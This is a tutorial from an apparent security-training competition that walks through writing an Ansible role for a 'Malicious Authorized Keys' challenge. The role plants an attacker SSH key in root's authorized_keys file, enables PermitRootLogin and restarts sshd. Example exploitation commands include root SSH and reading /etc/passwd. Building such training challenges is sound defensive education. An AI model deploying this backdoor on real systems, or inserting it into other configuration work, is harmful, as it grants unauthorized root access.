C2Games infrastructure challenges are written as Ansible roles. The page [Ansible Basics](TODO LINK) can be reviewed to gain a basic understanding of the Ansible concepts used in this document.

This page assumes you have downloaded the infrastructure-examples Repository, and are performing development within the uncompressed directory structure. This repository contains an Ansible playbook, configuration file, and example Ansible roles to get started from. The repository can be downloaded as a .zip file by clicking the download icon, then the ZIP button, as shown below.

SSH Authorized Keys Example

This example will walk through creating a new Challenge named “SSH Authorized Keys”, which is an example available in our Examples repository. This challenge will install the required dependencies, ensure the required directories and files exist, ensure a configuration file is set correctly, and copy in a malicious authorized key.

Creating a new role

A new role can be created by copying the directory roles/template/ to a new name within roles/. The directory name will define the name of the role.

cp -r roles/template roles/ssh_authorized_keys

Adding the Role to the Playbook

The first time a new Role is executed, it must be added to the Ansible playbook being executed. The included playbook, playbook.yml, can be modified for this purpose. We recommend removing or commenting on the example roles from this file and adding only the role currently under development.

In this example, we’ll remove all other roles, and add our new ssh_authorized_keys role. The file should look like this:

---
- hosts: all
  user: ansible
  become: yes
  become_method: sudo
  vars_files:
    # Include ansible configuration from separate file
    - config.yml
  tasks:
    - include_role:
        name: ssh_authorized_keys

Writing the Challenge


Adding Tasks

The first step to creating a new role is to add some tasks to the tasks/main.yml file. We’ll start by adding some tasks to ensure OpenSSH server is installed, and the authorized keys files exist.

# roles/ssh_authorized_keys/tasks/main.yml
---
# Install ssh package
- name: Install OpenSSH server
  package:
    name: "openssh-server"
    state: present

- name: Root SSH directory exists with correct permissions
  file:
    path: /root/.ssh
    owner: root
    mode: 0700
    state: directory

- name: Root Authorized Keys file exists with correct permissions
  file:
    path: /root/.ssh/authorized_keys
    owner: root
    mode: 0600
    state: touch

Adding Variables

Ansible has several places that variables can be defined. To ensure the default SSH key can be overwritten with a new SSH key appropriate for the environment, we can set the value in defaults/main.yml.

# roles/ssh_authorized_keys/defaults/main.yml
---
# Default variables to be used under ../tasks if not populated elsewhere
malicious_public_key: "/QtGyyT20wvUKlaOjeBnOTSp8+ieI2QD4a8H4hBY3NqR/KHo7axPai773Ex89noAGHHFBs5fbW1fdTz3fzzHRLPWfzhJN0qkI/IUD5FQDFUP5F/oJSd9GvHMjtjZEIF/N3K7FgQ8KrD5/99PVLgFkQD1pg0fhSrTkV093GnNXgacDl6LgteWyAnDQZv5taT4LsIJrf0AIcnq5ZxwST9V15a4gzKN98VwgFpwNlOZHDKg769cQy4wre4chmQ58h7HiqySsnpgAkDDpZf5Z6/MnHMF/avK8Ttx7EqvaSQ7ipnCNpFDCv3dIYD8eN/l1xaXtbyO8AJQXt7hINSmwwhh0GvsUGNqHW9ugpzxlzX+rbW6P1FiIk="

Then, we can add a task to tasks/main.yml that uses the key using the Jinja templating syntax, {{ variable_name }}.

# roles/ssh_authorized_keys/tasks/main.yml
---
# Add our public key to roots authorized_keys file, if it is not already there
- name: Set Root Authorized Key
  lineinfile:
    path: /root/.ssh/authorized_keys
    line: "{{ malicious_public_key }}"

Testing the Role

When the role is ready for testing, it can be executed using the playbook.yml file [set up above](#Adding the Role to the Playbook).

The ansible-playbook command is used to execute the playbook. The IP Addresses should be replaced to match the test systems in your environment.

All challenges should be tested against at least one Debian/Ubuntu-based system, and one CentOS-based system.

NOTE: If testing against only a single host, a trailing comma must be used.

ansible-playbook -i 10.1.10.17,10.1.10.18 playbook.yml
# Single host example
ansible-playbook -i 10.1.10.17, playbook.yml

Refining the Role

After testing, our playbook executed successfully first try – wow! Unfortunately, after some testing, we discover that we can’t use our new key to authenticate as root. After some digging around, we discover the following line in /etc/ssh/sshd_config:

PermitRootLogin no

Doh! Easy fix, we’ll just add the following task to our tasks/main.yml file:

# roles/ssh_authorized_keys/tasks/main.yml
---
# Edit sshd_config to allow for remote ssh root login
- name: Allow Root Login
  lineinfile:
    path: /etc/ssh/sshd_config
    regexp: '^#?PermitRootLogin.*'
    line: "PermitRootLogin yes"
  notify:
    - Restart SSH

We know that changing the sshd_config file requires a service restart. For this task, we define a new handler in handlers/main.yml, and use the notify keyword to let Ansible know that SSH needs restarted if that file is changed.

# Restart SSH service. Let ansible decide on the mechanism: systems, services etc.
- name: Restart SSH
  ansible.builtin.service:
      name: sshd
      state: restarted

NOTE: The handler will only trigger if the sshd_config file is changed. If a file change is not required, the service will not be restarted.

Re-testing the Role

When a role is re-tested, the test VMs should be rolled back to a clean snapshot before testing. Once the VM has been rolled back to a clean snapshot, run the role again using the same ansible-playbook command.

ansible-playbook -i 10.1.10.17,10.1.10.18 playbook.yml

This time, we test with ssh -i path/to/bad_key root@IP and both hosts work correctly!

Completing the C2 Games Metadata File

Now that the Ansible role is complete, we just need to fill out the template c2games.yml Metadata file. See the [Infrastructure Challenge Submissions](TODO LINK) page for more information on each field within this file. Here is an example for ssh_authorized_keys.

Any questions about this file should be sent to the support email or asked in the Discord linked above.

# roles/ssh_authorized_keys/c2games.yml
---
Title: 'Malicious Authorized Keys'
Version: 1.0
Author: 'Brodie Davis'
Organization: 'C2 Games'

Type: 'Misconfiguration'

Difficulty: 4

Description: >
  Installs malicious SSH keys on the system for remote access to the root user

OSCompatibility:
  - Family: Linux
    Name: Ubuntu
    Version: 18.04
  - Family: Linux
    Name: CentOS
    Version: 7

Exploitation:
  - Example: ssh -i malicious_key root@192.168.1.1
    Description: >
      SSH As root into the System to escalate privileges
  - Example: ssh -i malicious_key user@192.168.1.1 cat /etc/passwd
    Description: >
      SSH as a normal user into the system and run a single command
      to achieve remote code execution without a persistent session

Mitigation: >
  Remove the Malicious SSH Keys.

Training: >
  An exercise explaining SSH keys, and their ability to provide remote access into to a system. The exercise should also review the SSHD service configuration file, and options that may be used to secure the SSHD service.

Justification: >
  This challenge covers the skills required to configure and secure an OpenSSH service. The student must demonstrate that they can identify invalid or insecure configurations within an existing environment, and reconfigure the service to a functional and secure state.